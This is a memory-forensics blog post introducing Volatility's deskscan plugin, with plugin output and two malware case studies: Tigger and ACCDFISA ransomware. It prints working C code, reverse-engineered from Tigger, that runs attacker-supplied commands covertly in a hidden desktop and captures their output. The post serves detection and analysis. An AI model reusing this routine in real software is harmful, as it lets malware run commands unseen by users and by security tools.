The MoVP 1.3 plugin, named deskscan, enumerates desktops, desktop heap allocations, and associated threads. In the GUI landscape, a desktop is essentially a container for application windows and user interface objects. Malware utilizes desktops in various ways, from launching applications in alternate desktops (i.e. so the current logged-on user doesn't see) to ransomware that locks users out of their own desktop. We'll see some examples of both in this post. Before we begin, here is brief summary of the ways you might use the deskscan plugin in your investigations:
- Find rogue desktops used to hide applications from logged-on users
- Detect desktops created by ransomware
- Link threads to their desktops
- Analyze the desktop heap for memory corruptions
- Profile dekstop heap allocations to locate USER objects
Data Structures
The tagDESKTOP structure represents desktops. Here is an example from Windows 7 x64:
>>> dt("tagDESKTOP")
'tagDESKTOP' (224 bytes)
0x0 : dwSessionId ['unsigned long']
0x8 : pDeskInfo ['pointer64', ['tagDESKTOPINFO']]
0x10 : pDispInfo ['pointer64', ['tagDISPLAYINFO']]
0x18 : rpdeskNext ['pointer64', ['tagDESKTOP']]
0x20 : rpwinstaParent ['pointer64', ['tagWINDOWSTATION']]
0x28 : dwDTFlags ['unsigned long']
0x30 : dwDesktopId ['unsigned long long']
0x38 : spmenuSys ['pointer64', ['tagMENU']]
0x40 : spmenuDialogSys ['pointer64', ['tagMENU']]
0x48 : spmenuHScroll ['pointer64', ['tagMENU']]
0x50 : spmenuVScroll ['pointer64', ['tagMENU']]
0x58 : spwndForeground ['pointer64', ['tagWND']]
0x60 : spwndTray ['pointer64', ['tagWND']]
0x68 : spwndMessage ['pointer64', ['tagWND']]
0x70 : spwndTooltip ['pointer64', ['tagWND']]
0x78 : hsectionDesktop ['pointer64', ['void']]
0x80 : pheapDesktop ['pointer64', ['tagWIN32HEAP']]
0x88 : ulHeapSize ['unsigned long']
0x90 : cciConsole ['_CONSOLE_CARET_INFO']
0xa8 : PtiList ['_LIST_ENTRY']
0xb8 : spwndTrack ['pointer64', ['tagWND']]
0xc0 : htEx ['long']
0xc4 : rcMouseHover ['tagRECT']
0xd4 : dwMouseHoverTime ['unsigned long']
0xd8 : pMagInputTransform ['pointer64', ['_MAGNIFICATION_INPUT_TRANSFORM']]
- dwSessionId can be used to link a desktop to its owning session (it will match _MM_SESSION_SPACE.SessionId).
- pDeskInfo points to a tagDESKTOPINFO – this is where information on the desktop’s global hooks is stored. The tagDESKTOPINFO.spwnd field also identifies the active foreground window.
- rpdeskNext can be used to enumerate all desktops in the same window station.
- rpwinstaParent identifies the window station to which the desktop belongs.
- pheapDesktop points to the desktop heap – it can be parsed in the same way as a process heap.
- PtiList is a list of tagTHREADINFO structures, one for each thread attached to the desktop.
The DeskScan Plugin
The deskscan plugin scans for window stations and then walks
tagWINDOWSTATION.rpdeskList. It is also possible to
simply scan for desktop objects (pool tag Desk).
The output below shows WinSta0\Default, WinSta0\Disconnect, and WinSta0\Winlogon in session 2.
$ python vol.py -f rdp.mem --profile=Win2003SP2x86 deskscan
Volatile Systems Volatility Framework 2.1_alpha
**************************************************
Desktop: 0x8001038, Name: WinSta0\Default, Next: 0x8737bc10
SessionId: 2, DesktopInfo: 0xbc6f0650, fsHooks: 2128
spwnd: 0xbc6f06e8, Windows: 238
Heap: 0xbc6f0000, Size: 0x300000, Base: 0xbc6f0000, Limit: 0xbc9f0000
7808 (notepad.exe 6236 parent 5544)
7760 (csrss.exe 7888 parent 432)
5116 (csrss.exe 7888 parent 432)
8168 (PccNTMon.exe 5812 parent 5132)
3040 (cmd.exe 5544 parent 5132)
6600 (csrss.exe 7888 parent 432)
7392 (explorer.exe 5132 parent 8120)
5472 (explorer.exe 5132 parent 8120)
548 (PccNTMon.exe 5812 parent 5132)
6804 (mbamgui.exe 5220 parent 5132)
2008 (ctfmon.exe 4576 parent 5132)
3680 (PccNTMon.exe 5812 parent 5132)
2988 (VMwareTray.exe 3552 parent 5132)
1120 (explorer.exe 5132 parent 8120)
4500 (explorer.exe 5132 parent 8120)
7732 (explorer.exe 5132 parent 8120)
6836 (explorer.exe 5132 parent 8120)
7680 (winlogon.exe 3272 parent 432)
7128 (rdpclip.exe 6772 parent 3272)
5308 (rdpclip.exe 6772 parent 3272)
**************************************************
Desktop: 0x737bc10, Name: WinSta0\Disconnect, Next: 0x8a2f2068
SessionId: 2, DesktopInfo: 0xbc6e0650, fsHooks: 0
spwnd: 0xbc6e06e8, Windows: 25
Heap: 0xbc6e0000, Size: 0x10000, Base: 0xbc6e0000, Limit: 0xbc6f0000
**************************************************
Desktop: 0xa2f2068, Name: WinSta0\Winlogon, Next: 0x0
SessionId: 2, DesktopInfo: 0xbc6c0650, fsHooks: 0
spwnd: 0xbc6c06e8, Windows: 6
Heap: 0xbc6c0000, Size: 0x20000, Base: 0xbc6c0000, Limit: 0xbc6e0000
6912 (winlogon.exe 3272 parent 432)
1188 (winlogon.exe 3272 parent 432)
8172 (winlogon.exe 3272 parent 432)
**************************************************
[snip]
Regarding the output above, please note the following:
- Default is the default desktop for applications in the interactive window station. It is what you see 99.9% of the time you’re logged into a Windows system. Thus it makes sense that explorer.exe runs in this desktop (also note there are 6 different Explorer threads all running in this same desktop).
- The number of windows in the Default desktop is also much higher than the others (238 compared to 25 in Disconnect and 6 in Winlogon). In order to allow the creation of so many more windows (and other objects), it makes sense that the Default desktop’s heap size is also much higher (0x300000 compared to 0x10000 and 0x20000).
- The only threads in the Winlogon desktop actually belong to winlogon.exe.
- The only desktop with global hooks is Default (fsHooks: 2128). This value can be parsed to report on installed windows message hooks.
If you pass the –v/--verbose option to the deskscan plugin, it will output
details on the desktop’s heap allocations. As described in Windows Hook ofDeath: Kernel Attacks through Usermode Callbacks by Tarjei Mandt, the win32k!ghati
symbol is an array of structures, one for each USER object type, telling you if
the objects are allocated from the desktop heap, shared heap, or session pool.
Windows (tagWND) and hooks (tagHOOK)
are two examples of objects you can find on the desktop heap. Thus, if you know
the size of a tagWND (0x128 on Windows 7 x64) and
the size of a heap header for that platform, you can walk the desktop heap
allocations and narrow down the possible addresses of window structures.
Here’s an example of using the deskscan plugin in verbose
mode:
$ python vol.py -f win7x64.dd --profile=Win7SP1x64 deskscan –verbose
[snip]
**************************************************
Desktop: 0x7e031700, Name: WinSta0\Default, Next: 0xfffffa8003631dc0
SessionId: 1, DesktopInfo: 0xfffff900c0600a70, fsHooks: 0
spwnd: 0xfffff900c0600b90, Windows: 371
Heap: 0xfffff900c0600000, Size: 0x1400000, Base: 0xfffff900c0600000, Limit: 0xfffff900c1a00000
Alloc: 0xfffff900c0600010, Size: 0xa6 Previous: 0x0
Alloc: 0xfffff900c0600a70, Size: 0x10 Previous: 0xa6
Alloc: 0xfffff900c0600b70, Size: 0x2 Previous: 0x10
Alloc: 0xfffff900c0600b90, Size: 0x13 Previous: 0x2
Alloc: 0xfffff900c0600cc0, Size: 0xb Previous: 0x13
Alloc: 0xfffff900c0600d70, Size: 0x2 Previous: 0xb
Alloc: 0xfffff900c0600d90, Size: 0x14 Previous: 0x2
Alloc: 0xfffff900c0600ed0, Size: 0xb Previous: 0x14
[snip]
As you can see, the base of the desktop heap can be found at 0xfffff900c0600000. Desktop heaps use the same structures as the Win32/NT API (i.e. _HEAP and _HEAP_ENTRY), so parsing them is very similar to the way you enumerate process heap allocations. In the following example, we show how its possible to locate potential tagWND structures using this method.
As you can see, the base of the desktop heap can be found at 0xfffff900c0600000. Desktop heaps use the same structures as the Win32/NT API (i.e. _HEAP and _HEAP_ENTRY), so parsing them is very similar to the way you enumerate process heap allocations. In the following example, we show how its possible to locate potential tagWND structures using this method.
$ python vol.py -f win7x64.dd --profile=Win7SP1x64 volshell
Volatile Systems Volatility Framework 2.1_alpha
Current context: process System, pid=4, ppid=0 DTB=0x187000
Welcome to volshell! Current memory image is:
file:///Users/Michael/Desktop/win7x64.dd
To get help, type 'hh()'
# First switch into the context of a process in Session 1.
>>> cc(pid = 880)
Current context: process explorer.exe, pid=880, ppid=736 DTB=0x6c3e000
# Acquire a process address space, which allows us to
# instantiate objects and dereference pointers using
# the right DTB for the _MM_SESSION_SPACE
>>> session_space = self.eproc.get_process_address_space()
# Determine the size of a heap entry header
>>> header_size = session_space.profile.get_obj_size("_HEAP_ENTRY")
# Determine the size of a tagWND structure for this platform
# aligned to the heap granularity
>>> import volatility.plugins.common as common
>>> wnd_size = common.pool_align(session_space, "tagWND", header_size)
# Create the heap object for WinSta0\Default
>>> desktop_heap = obj.Object("_HEAP", \
offset = 0xfffff900c0600000, \
vm = session_space)
# Walk the heap looking for appropriately sized allocations
>>> for seg in desktop_heap.segments():
... for entry in seg.heap_entries():
... if (entry.Size - 1) * header_size == wnd_size:
... print "? tagWND at", hex(entry.obj_offset + header_size)
...
? tagWND at 0xfffff900c0600d90L
? tagWND at 0xfffff900c06017a0L
? tagWND at 0xfffff900c0601e10L
? tagWND at 0xfffff900c0601f90L
? tagWND at 0xfffff900c0602360L
? tagWND at 0xfffff900c0602f80L
[snip]
Of course, its possible to see false positives with this method, since all we’re matching on is the size of an allocation, especially if two or more objects were the same size. In fact, this is just a proof-of-concept explaining how the desktop heap can be leveraged if it became necessary. For example, later we’ll describe how the userhandles plugin can locate all USER objects, including tagWND, regardless of whether they’re allocated from the desktop heap, shared heap, or session pool. However, if the USER handle table is not accessible for some reason, at least we could use the heap allocations as a backup.
Tigger Malware
Tigger’s backdoor component accepts commands over the
network. If the attacker wants to run applications on the victim machine, the
malware creates a hidden desktop to run them in. You may notice that if you try
to CreateProcess(“ipconfig.exe”, …) even if the SW_HIDE
flag is set, a console window may flash instantaneously and alert the user that
something suspicious is running in the background. Additionally, if an attacker
opens a non-visible Internet Explorer instance (for example with COM APIs) in
the logged on user’s Default desktop, the application’s threads (and thus its
window messages) are subject to hooking and monitoring by any other tools in
the desktop.
The code below is reverse-engineered from the DLL that
Tigger injects into explorer.exe. It uses all the same flags, APIs, and
variables that the real malware used. Here’s how it works:
- Create a new desktop named system_temp_ if it doesn’t already exist
- Generate a temporary file name that will be used to capture the redirected output of console commands
- Set STARTUPINFO.lpDesktop to WinSta0\system_temp_
- Set dwFlags to indicate the STARTUPINFO structure also has preferences for window visibility and standard output and standard error handles for the process to be created
- Create the new process (full path to the process szCmd is passed into the function as an argument – originally from an attacker over the network)
- Wait for the process to complete
- Read the process’s output (if any) from the specified output file and return it in a buffer
LPSTR RunCmdInSecretDesktop(TCHAR *szCmd, BOOL bWait)
{
DWORD dwFlags = (DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DESKTOP_CREATEWINDOW);
HDESK hDesk = NULL;
SECURITY_ATTRIBUTES SecurityAttributes;
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInfo;
DWORD ddSize = 0;
TCHAR lpszPath[MAX_PATH];
TCHAR lpszFile[MAX_PATH];
HANDLE hFile = INVALID_HANDLE_VALUE;
hDesk = OpenDesktop(_T("system_temp_"), 0, FALSE, dwFlags);
if (hDesk == NULL)
hDesk = CreateDesktop(_T("system_temp_"),
NULL, NULL, 0, dwFlags, NULL);
if (hDesk == NULL)
return NULL;
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.bInheritHandle = TRUE;
SecurityAttributes.lpSecurityDescriptor = NULL;
GetTempPath(MAX_PATH, lpszPath);
GetTempFileName(lpszPath, NULL, GetTickCount(), lpszFile);
hFile = CreateFile(
lpszFile,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
&SecurityAttributes,
CREATE_ALWAYS,
NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
CloseDesktop(hDesk);
return NULL;
}
memset(&StartupInfo, 0, sizeof(StartupInfo));
GetStartupInfo(&StartupInfo);
StartupInfo.cb = sizeof(StartupInfo);
StartupInfo.lpDesktop = _T("Winsta0\\system_temp_");
StartupInfo.wShowWindow = 1;
StartupInfo.dwFlags = (STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW);
StartupInfo.hStdOutput = hFile;
StartupInfo.hStdError = hFile;
LPTSTR szDup = _tcsdup(szCmd);
if (CreateProcess(NULL, szDup, NULL, NULL, TRUE,
CREATE_NEW_CONSOLE, NULL, NULL,
&StartupInfo, &ProcessInfo))
{
if (bWait)
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
}
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
CloseHandle(hFile);
CloseDesktop(hDesk);
return GetFileData(lpszFile, &ddSize);
}
At the end of the day, Tigger can covertly execute console
and GUI applications without the user noticing and without being detected by
security products that only monitor windows and window messages broadcasted in
the user’s Default desktop. Of course, some of the more robust antivirus suites
now monitor all desktops, but many of them still do not.
Unfortunately, since the function does call CloseDesktop at the end, this can cause the tagDESKTOP object in memory to be freed (unless other
threads have references to it). That’s why Volatility leverages object scanning
through physical memory to try and detect traces of past activity.
The ACCDFISA malware (Anti Cyber Crime Department of Federal
Internet Security Agency), described on the Emsisoft blog is a ransomware
that creates a new desktop to display the ransom notice; and effectively locks
users out of the system until they enter a special code. For example, one of
the variants will display the message shown below after an infected
system is booted:
With no obvious way to get back to the real desktop, users
are forced to comply with the attacker’s demands, or figure out some other way
around it. As shown in the next screenshot, to create this screen-lock effect, the
malware uses CreateDesktopA to create a new desktop
named My Desktop 2 and then switches to it with SwitchDesktop.
The artifacts this malware leaves in physical memory should
not be surprising – a suspiciously named desktop with a single process (besides
the typical csrss.exe) associated with the desktop. In the output below, notice
the desktop is WinSta0\My Desktop 2 and the only thread attached to the desktop
besides those from csrss.exe is thread ID 308 from svchost.exe. As you can
imagine, a single thread running alone in a desktop is not typical.
$ python vol.py –f ACCFISA.vmem deskscan
Volatile Systems Volatility Framework 2.1_alpha
[snip]
**************************************************
Desktop: 0x24675c0, Name: WinSta0\My Desktop 2, Next: 0x820a47d8
SessionId: 0, DesktopInfo: 0xbc310650, fsHooks: 0
spwnd: 0xbc3106e8, Windows: 111
Heap: 0xbc310000, Size: 0x300000, Base: 0xbc310000, Limit: 0xbc610000
652 (csrss.exe 612 parent 564)
648 (csrss.exe 612 parent 564)
308 (svchost.exe 300 parent 240)
Let’s view a tree of the windows in the suspicious desktop. This plugin will be introduced in a future MoVP post. So far we know svchost.exe is most likely the malware process, but we’ll need a
bit more evidence to explicitly link it with the ransomware message.
$ python vol.py -f
ACCFISA.vmem wintree
Volatile Systems Volatility Framework 2.1_alpha
[snip]
**************************************************
**************************************************
Window context: 0\WinSta0\My Desktop 2
[snip]
.#100e2 csrss.exe:612 -
.#100e4 csrss.exe:612 -
#100de (visible) csrss.exe:612 -
.Anti-Child
Porn Spam Protection (18 U.S.C. ? 2252) (visible) svchost.exe:300
WindowClass_0
..Send
Code (visible) svchost.exe:300 Button
..#100ee (visible) svchost.exe:300 Edit
..Your
Id #: 1074470467 Our special service email: security11220@gmail.com
(visible) svchost.exe:300 Static
..Your
ID Number and our contacts (please write down this data): (visible)
svchost.exe:300 Static
..#100e8 (visible) svchost.exe:300 Static
As you can see, all of the windows for the ransom message
are owned by svchost.exe with process ID 300. Now you can start your initial
investigation based on this specific process. For example, using dlllist shows
it’s not a real svchost.exe, rather its hosted out of the C:\wnhsmlud
directory:
$ python vol.py -f
ACCFISA.vmem dlllist -p 300
Volatile Systems Volatility Framework 2.1_alpha
************************************************************************
svchost.exe pid: 300
Command line : "C:\wnhsmlud\svchost.exe"
Service Pack 3
Base Size Path
---------- ---------- ----
0x00400000 0x2f000
C:\wnhsmlud\svchost.exe
0x7c900000 0xb2000
C:\WINDOWS\system32\ntdll.dll
0x7c800000 0xf6000
C:\WINDOWS\system32\kernel32.dll
0x77c10000 0x58000
C:\WINDOWS\system32\MSVCRT.dll
[snip]
With information on the executable path name, you can search
for it in the registry. In the following output, it is easily locatable in the
registry hives cached in kernel memory:
$ python vol.py -f
ACCFISA.vmem printkey -K "Microsoft\Windows\CurrentVersion\Run"
Volatile Systems Volatility Framework 2.1_alpha
Legend: (S) = Stable (V)
= Volatile
----------------------------
Registry:
\Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: Run (S)
Last updated: 2012-07-23 01:57:05
Subkeys:
Values:
REG_SZ VMware
Tools : (S) "C:\Program
Files\VMware\VMware Tools\VMwareTray.exe"
REG_SZ VMware User
Process : (S) "C:\Program Files\VMware\VMware Tools\VMwareUser.exe"
REG_SZ
SunJavaUpdateSched : (S) "C:\Program Files\Common Files\Java\Java
Update\jusched.exe"
REG_SZ svchost : (S) C:\wnhsmlud\svchost.exe
Conclusion
Using Volatility's deskscan command, you can analyze memory dumps in ways never seen before. Even better, this is just one of the new plugins in the win32k suite that will be released in Volatility 2.2.
More information on the deskscan plugin and its usages in forensic investigations will be presented at Open Memory Forensics Workshop (OMFW) 2012.
No comments:
Post a Comment